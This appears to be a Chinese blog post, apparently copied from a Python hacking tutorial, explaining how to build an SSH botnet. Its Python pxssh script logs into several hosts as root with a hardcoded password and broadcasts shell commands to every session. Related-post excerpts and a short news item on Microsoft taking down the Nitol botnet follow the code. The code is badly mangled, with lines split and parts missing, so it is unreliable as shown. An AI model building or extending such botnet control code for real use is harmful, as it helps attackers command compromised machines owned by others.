構建SSH殭屍網路

2021-09-29 09:52:00 字數 1627 閱讀 1985

每個單獨的殭屍或client都能連線上某台肉雞

以下實現了三颱主機登入一台肉雞

這三颱主機分別例項化三個不同的client物件

並加到陣列中

然後通過函式botnetcommand讀取使用者輸入的命令

並通過陣列的client物件呼叫send_command函式

三颱主機並且每一台主機傳送2條命令

所以最後又6條命令返回資訊

#!/usr/bin/python

# -*- coding: utf-8 -*-

import optparse

from pexpect import pxssh

class

client

:def

__init__

(self, host, user, password)

: self.host = host

self.user = user

self.password = password

self.session = self.connect(

)def

connect

(self)

:try

: s = pxssh.pxssh(

) s.login(self.host, self.user, self.password)

return s

except exception, e:

print e

print

'[-] error connecting'

defsend_command

(self, cmd)

: self.session.sendline(cmd)

self.session.prompt(

)return self.session.before

defbotnetcommand

(command)

:for client in botnet:

output = client.send_command(command)

print

'[*] output from '

+ client.host

print

'[+] '

+ output

defaddclient

(host, user, password)

: client = client(host, user, password)

botnet =

#假設為3臺主機

addclient(

'127.0.0.1'

,'root'

,'toor'

)addclient(

'127.0.0.1'

,'root'

,'toor'

)addclient(

'127.0.0.1'

,'root'

,'toor'

)botnetcommand(

'uname -v'

)botnetcommand(

'cat /etc/issue'

)

Python黑客攻防,構建SSH殭屍網路!

攻擊者在達成惡意目的時,通常會使用被黑掉的計算機群。我們稱之為殭屍網路 因為被黑掉的電腦會像殭屍一樣執行指令。為構建殭屍網路,我們必須引入一乙個新的概念一類。類的概念是面向程式設計物件和程式設計模型的基礎。在這一程式設計模型中,我們會把各個物件和它們所關聯的方法一起例項化。在我們的殭屍網路中,每個單...

Python黑客攻防(十三)構建SSH殭屍網路

攻擊者在達成惡意目的時,通常會使用被黑掉的計算機群。我們稱之為殭屍網路 因為被黑掉的電腦會像殭屍一樣執行指令。為構建殭屍網路,我們必須引入一乙個新的概念一類。類的概念是面向程式設計物件和程式設計模型的基礎。在這一程式設計模型中,我們會把各個物件和它們所關聯的方法一起例項化。在我們的殭屍網路中,每個單...

微軟瓦解Nitol殭屍網路

微軟剛剛瓦解了nitol殭屍網路 控制了500多種不同惡意軟體變體。該軟體巨人表示這些惡意軟體秘密地嵌入在盜版windows軟體中,通過 鏈當中的脆弱節點傳播。美國維吉尼亞州東區的地區法院同意微軟通過接管3322.org這個網域名稱 以及7萬多個藏有該惡意軟體的子網域名稱瓦解nitol殭屍網路。微軟...